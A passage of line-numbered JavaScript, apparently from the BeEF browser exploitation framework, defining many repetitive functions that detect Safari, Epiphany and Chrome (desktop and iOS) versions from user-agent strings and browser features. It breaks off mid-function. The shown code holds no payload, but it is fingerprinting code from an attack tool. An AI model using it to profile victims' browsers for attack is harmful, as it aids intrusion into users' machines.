  4058. return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58();
  4059. },
  4060.  
  4061. /**
  4062. * Returns true if Safari 4.xx
  4063. * @example: beef.browser.isS4()
  4064. */
  4065. isS4: function () {
  4066. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  4067. },
  4068.  
  4069. /**
  4070. * Returns true if Safari 5.xx
  4071. * @example: beef.browser.isS5()
  4072. */
  4073. isS5: function () {
  4074. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  4075. },
  4076.  
  4077. /**
  4078. * Returns true if Safari 6.xx
  4079. * @example: beef.browser.isS6()
  4080. */
  4081. isS6: function () {
  4082. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  4083. },
  4084.  
  4085. /**
  4086. * Returns true if Safari 7.xx
  4087. * @example: beef.browser.isS7()
  4088. */
  4089. isS7: function () {
  4090. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  4091. },
  4092.  
  4093. /**
  4094. * Returns true if Safari 8.xx
  4095. * @example: beef.browser.isS8()
  4096. */
  4097. isS8: function () {
  4098. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  4099. },
  4100.  
  4101. /**
  4102. * Returns true if Safari.
  4103. * @example: beef.browser.isS()
  4104. */
  4105. isS: function () {
  4106. return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
  4107. },
  4108.  
  4109. /**
  4110. * Returns true if Webkit based
  4111. *
  4112. * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
  4113. */
  4114. isWebKitBased: function () {
  4115. return (!window.opera && !window.chrome
  4116. && window.navigator.userAgent.match(/ Version\/\d/) != null
  4117. && !window.globalStorage
  4118. && !!window.getComputedStyle
  4119. && !("MozWebSocket" in window));
  4120. },
  4121.  
  4122. /**
  4123. * Return true if Epiphany
  4124. * @example: beef.browser.isEpi()
  4125. */
  4126. isEpi: function () {
  4127. // Epiphany is based on webkit
  4128. // due to the uncertainty of webkit version vs Epiphany versions tracking.
  4129. // -- do webkit based checking (i.e. do safari checks)
  4130. return this.isWebKitBased() && window.navigator.userAgent.match(/Epiphany\//) != null;
  4131. },
  4132.  
  4133.  
  4134. /**
  4135. * Returns true if Chrome 5.
  4136. * @example: beef.browser.isC5()
  4137. */
  4138. isC5: function () {
  4139. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
  4140. },
  4141.  
  4142. /**
  4143. * Returns true if Chrome 6.
  4144. * @example: beef.browser.isC6()
  4145. */
  4146. isC6: function () {
  4147. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
  4148. },
  4149.  
  4150. /**
  4151. * Returns true if Chrome 7.
  4152. * @example: beef.browser.isC7()
  4153. */
  4154. isC7: function () {
  4155. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
  4156. },
  4157.  
  4158. /**
  4159. * Returns true if Chrome 8.
  4160. * @example: beef.browser.isC8()
  4161. */
  4162. isC8: function () {
  4163. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
  4164. },
  4165.  
  4166. /**
  4167. * Returns true if Chrome 9.
  4168. * @example: beef.browser.isC9()
  4169. */
  4170. isC9: function () {
  4171. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
  4172. },
  4173.  
  4174. /**
  4175. * Returns true if Chrome 10.
  4176. * @example: beef.browser.isC10()
  4177. */
  4178. isC10: function () {
  4179. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
  4180. },
  4181.  
  4182. /**
  4183. * Returns true if Chrome 11.
  4184. * @example: beef.browser.isC11()
  4185. */
  4186. isC11: function () {
  4187. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
  4188. },
  4189.  
  4190. /**
  4191. * Returns true if Chrome 12.
  4192. * @example: beef.browser.isC12()
  4193. */
  4194. isC12: function () {
  4195. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
  4196. },
  4197.  
  4198. /**
  4199. * Returns true if Chrome 13.
  4200. * @example: beef.browser.isC13()
  4201. */
  4202. isC13: function () {
  4203. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
  4204. },
  4205.  
  4206. /**
  4207. * Returns true if Chrome 14.
  4208. * @example: beef.browser.isC14()
  4209. */
  4210. isC14: function () {
  4211. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
  4212. },
  4213.  
  4214. /**
  4215. * Returns true if Chrome 15.
  4216. * @example: beef.browser.isC15()
  4217. */
  4218. isC15: function () {
  4219. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
  4220. },
  4221.  
  4222. /**
  4223. * Returns true if Chrome 16.
  4224. * @example: beef.browser.isC16()
  4225. */
  4226. isC16: function () {
  4227. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
  4228. },
  4229.  
  4230. /**
  4231. * Returns true if Chrome 17.
  4232. * @example: beef.browser.isC17()
  4233. */
  4234. isC17: function () {
  4235. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
  4236. },
  4237.  
  4238. /**
  4239. * Returns true if Chrome 18.
  4240. * @example: beef.browser.isC18()
  4241. */
  4242. isC18: function () {
  4243. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
  4244. },
  4245.  
  4246. /**
  4247. * Returns true if Chrome 19.
  4248. * @example: beef.browser.isC19()
  4249. */
  4250. isC19: function () {
  4251. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
  4252. },
  4253.  
  4254. /**
  4255. * Returns true if Chrome for iOS 19.
  4256. * @example: beef.browser.isC19iOS()
  4257. */
  4258. isC19iOS: function () {
  4259. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
  4260. },
  4261.  
  4262. /**
  4263. * Returns true if Chrome 20.
  4264. * @example: beef.browser.isC20()
  4265. */
  4266. isC20: function () {
  4267. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
  4268. },
  4269.  
  4270. /**
  4271. * Returns true if Chrome for iOS 20.
  4272. * @example: beef.browser.isC20iOS()
  4273. */
  4274. isC20iOS: function () {
  4275. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
  4276. },
  4277.  
  4278. /**
  4279. * Returns true if Chrome 21.
  4280. * @example: beef.browser.isC21()
  4281. */
  4282. isC21: function () {
  4283. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
  4284. },
  4285.  
  4286. /**
  4287. * Returns true if Chrome for iOS 21.
  4288. * @example: beef.browser.isC21iOS()
  4289. */
  4290. isC21iOS: function () {
  4291. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
  4292. },
  4293.  
  4294. /**
  4295. * Returns true if Chrome 22.
  4296. * @example: beef.browser.isC22()
  4297. */
  4298. isC22: function () {
  4299. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
  4300. },
  4301.  
  4302. /**
  4303. * Returns true if Chrome for iOS 22.
  4304. * @example: beef.browser.isC22iOS()
  4305. */
  4306. isC22iOS: function () {
  4307. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
  4308. },
  4309.  
  4310. /**
  4311. * Returns true if Chrome 23.
  4312. * @example: beef.browser.isC23()
  4313. */
  4314. isC23: function () {
  4315. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
  4316. },
  4317.  
  4318. /**
  4319. * Returns true if Chrome for iOS 23.
  4320. * @example: beef.browser.isC23iOS()
  4321. */
  4322. isC23iOS: function () {
  4323. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
  4324. },
  4325.  
  4326. /**
  4327. * Returns true if Chrome 24.
  4328. * @example: beef.browser.isC24()
  4329. */
  4330. isC24: function () {
  4331. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
  4332. },
  4333.  
  4334. /**
  4335. * Returns true if Chrome for iOS 24.
  4336. * @example: beef.browser.isC24iOS()
  4337. */
  4338. isC24iOS: function () {
  4339. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
  4340. },
  4341.  
  4342. /**
  4343. * Returns true if Chrome 25.
  4344. * @example: beef.browser.isC25()
  4345. */
  4346. isC25: function () {
  4347. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
  4348. },
  4349.  
  4350. /**
  4351. * Returns true if Chrome for iOS 25.
  4352. * @example: beef.browser.isC25iOS()
  4353. */
  4354. isC25iOS: function () {
  4355. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
  4356. },
  4357.  
  4358. /**
  4359. * Returns true if Chrome 26.
  4360. * @example: beef.browser.isC26()
  4361. */
  4362. isC26: function () {
  4363. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
  4364. },
  4365.  
  4366. /**
  4367. * Returns true if Chrome for iOS 26.
  4368. * @example: beef.browser.isC26iOS()
  4369. */
  4370. isC26iOS: function () {
  4371. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
  4372. },
  4373.  
  4374. /**
  4375. * Returns true if Chrome 27.
  4376. * @example: beef.browser.isC27()
  4377. */
  4378. isC27: function () {
  4379. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
  4380. },
  4381.  
  4382. /**
  4383. * Returns true if Chrome for iOS 27.
  4384. * @example: beef.browser.isC27iOS()
  4385. */
  4386. isC27iOS: function () {
  4387. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
  4388. },
  4389.  
  4390. /**
  4391. * Returns true if Chrome 28.
  4392. * @example: beef.browser.isC28()
  4393. */
  4394. isC28: function () {
  4395. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
  4396. },
  4397.  
  4398. /**
  4399. * Returns true if Chrome for iOS 28.
  4400. * @example: beef.browser.isC28iOS()
  4401. */
  4402. isC28iOS: function () {
  4403. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
  4404. },
  4405.  
  4406. /**
  4407. * Returns true if Chrome 29.
  4408. * @example: beef.browser.isC29()
  4409. */
  4410. isC29: function () {
  4411. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
  4412. },
  4413.  
  4414. /**
  4415. * Returns true if Chrome for iOS 29.
  4416. * @example: beef.browser.isC29iOS()
  4417. */
  4418. isC29iOS: function () {
  4419. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
  4420. },
  4421.  
  4422. /**
  4423. * Returns true if Chrome 30.
  4424. * @example: beef.browser.isC30()
  4425. */
  4426. isC30: function () {
  4427. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
  4428. },
  4429.  
  4430. /**
  4431. * Returns true if Chrome for iOS 30.
  4432. * @example: beef.browser.isC30iOS()
  4433. */
  4434. isC30iOS: function () {
  4435. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
  4436. },
  4437.  
  4438. /**
  4439. * Returns true if Chrome 31.
  4440. * @example: beef.browser.isC31()
  4441. */
  4442. isC31: function () {
  4443. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
  4444. },
  4445.  
  4446. /**
  4447. * Returns true if Chrome for iOS 31.
  4448. * @example: beef.browser.isC31iOS()
  4449. */
  4450. isC31iOS: function () {
  4451. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
  4452. },
  4453.  
  4454. /**
  4455. * Returns true if Chrome 32.
  4456. * @example: beef.browser.isC32()
  4457. */
  4458. isC32: function () {
  4459. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
  4460. },
  4461.  
  4462. /**
  4463. * Returns true if Chrome for iOS 32.
  4464. * @example: beef.browser.isC32iOS()
  4465. */
  4466. isC32iOS: function () {
  4467. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
  4468. },
  4469.  
  4470. /**
  4471. * Returns true if Chrome 33.
  4472. * @example: beef.browser.isC33()
  4473. */
  4474. isC33: function () {
  4475. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
  4476. },
  4477.  
  4478. /**
  4479. * Returns true if Chrome for iOS 33.
  4480. * @example: beef.browser.isC33iOS()
  4481. */
  4482. isC33iOS: function () {
  4483. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
  4484. },
  4485.  
  4486. /**
  4487. * Returns true if Chrome 34.
  4488. * @example: beef.browser.isC34()
  4489. */
  4490. isC34: function () {
  4491. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
  4492. },
  4493.  
  4494. /**
  4495. * Returns true if Chrome for iOS 34.
  4496. * @example: beef.browser.isC34iOS()
  4497. */
  4498. isC34iOS: function () {
  4499. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
  4500. },
  4501.  
  4502. /**
  4503. * Returns true if Chrome 35.
  4504. * @example: beef.browser.isC35()
  4505. */
  4506. isC35: function () {
  4507. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
  4508. },
  4509.  
  4510. /**
  4511. * Returns true if Chrome for iOS 35.
  4512. * @example: beef.browser.isC35iOS()
  4513. */
  4514. isC35iOS: function () {
  4515. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
  4516. },
  4517.  
  4518. /**
  4519. * Returns true if Chrome 36.
  4520. * @example: beef.browser.isC36()
  4521. */
  4522. isC36: function () {
  4523. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
  4524. },
  4525.  
  4526. /**
  4527. * Returns true if Chrome for iOS 36.
  4528. * @example: beef.browser.isC36iOS()
  4529. */
  4530. isC36iOS: function () {
  4531. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
  4532. },
  4533.  
  4534. /**
  4535. * Returns true if Chrome 37.
  4536. * @example: beef.browser.isC37()
  4537. */
  4538. isC37: function () {
  4539. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
  4540. },
  4541.  
  4542. /**
  4543. * Returns true if Chrome for iOS 37.
  4544. * @example: beef.browser.isC37iOS()
  4545. */
  4546. isC37iOS: function () {
  4547. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
  4548. },
  4549.  
  4550. /**
  4551. * Returns true if Chrome 38.
  4552. * @example: beef.browser.isC38()
  4553. */
  4554. isC38: function () {
  4555. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
  4556. },
  4557.  
  4558. /**
  4559. * Returns true if Chrome for iOS 38.
  4560. * @example: beef.browser.isC38iOS()
  4561. */
  4562. isC38iOS: function () {
  4563. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
  4564. },
  4565.  
  4566. /**
  4567. * Returns true if Chrome 39.
  4568. * @example: beef.browser.isC39()
  4569. */
  4570. isC39: function () {
  4571. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
  4572. },
  4573.  
  4574. /**
  4575. * Returns true if Chrome for iOS 39.
  4576. * @example: beef.browser.isC39iOS()
  4577. */
  4578. isC39iOS: function () {
  4579. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
  4580. },
  4581.  
  4582. /**
  4583. * Returns true if Chrome 40.
  4584. * @example: beef.browser.isC40()
  4585. */
  4586. isC40: function () {
  4587. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
  4588. },
  4589.  
  4590. /**
  4591. * Returns true if Chrome for iOS 40.
  4592. * @example: beef.browser.isC40iOS()
  4593. */
  4594. isC40iOS: function () {
  4595. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
  4596. },
  4597.  
  4598. /**
  4599. * Returns true if Chrome 41.
  4600. * @example: beef.browser.isC41()
  4601. */
  4602. isC41: function () {
  4603. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
  4604. },
  4605.  
  4606. /**
  4607. * Returns true if Chrome for iOS 41.
  4608. * @example: beef.browser.isC41iOS()
  4609. */
  4610. isC41iOS: function () {
  4611. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
  4612. },
  4613.  
  4614. /**
  4615. * Returns true if Chrome 42.
  4616. * @example: beef.browser.isC42()
  4617. */
  4618. isC42: function () {
  4619. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
  4620. },
  4621.  
  4622. /**
  4623. * Returns true if Chrome for iOS 42.
  4624. * @example: beef.browser.isC42iOS()
  4625. */
  4626. isC42iOS: function () {
  4627. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
  4628. },
  4629.  
  4630. /**
  4631. * Returns true if Chrome 43.
  4632. * @example: beef.browser.isC43()
  4633. */
  4634. isC43: function () {
  4635. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
  4636. },
  4637.  
  4638. /**
  4639. * Returns true if Chrome for iOS 43.
  4640. * @example: beef.browser.isC43iOS()
  4641. */
  4642. isC43iOS: function () {
  4643. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
  4644. },
  4645.  
  4646. /**
  4647. * Returns true if Chrome 44.
  4648. * @example: beef.browser.isC44()
  4649. */
  4650. isC44: function () {
  4651. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
  4652. },
  4653.  
  4654. /**
  4655. * Returns true if Chrome for iOS 44.
  4656. * @example: beef.browser.isC44iOS()
  4657. */
  4658. isC44iOS: function () {
  4659. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
  4660. },
  4661.  
  4662. /**
  4663. * Returns true if Chrome 45.
  4664. * @example: beef.browser.isC45()
  4665. */
  4666. isC45: function () {
  4667. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
  4668. },
  4669.  
  4670. /**
  4671. * Returns true if Chrome for iOS 45.
  4672. * @example: beef.browser.isC45iOS()
  4673. */
  4674. isC45iOS: function () {
  4675. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
  4676. },
  4677.  
  4678. /**
  4679. * Returns true if Chrome 46.
  4680. * @example: beef.browser.isC46()
  4681. */
  4682. isC46: function () {
  4683. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
  4684. },
  4685.  
  4686. /**
  4687. * Returns true if Chrome for iOS 46.
  4688. * @example: beef.browser.isC46iOS()
  4689. */
  4690. isC46iOS: function () {
  4691. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
  4692. },
  4693.  
  4694. /**
  4695. * Returns true if Chrome 47.
  4696. * @example: beef.browser.isC47()
  4697. */
  4698. isC47: function () {
  4699. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
  4700. },
  4701.  
  4702. /**
  4703. * Returns true if Chrome for iOS 47.
  4704. * @example: beef.browser.isC47iOS()
  4705. */
  4706. isC47iOS: function () {
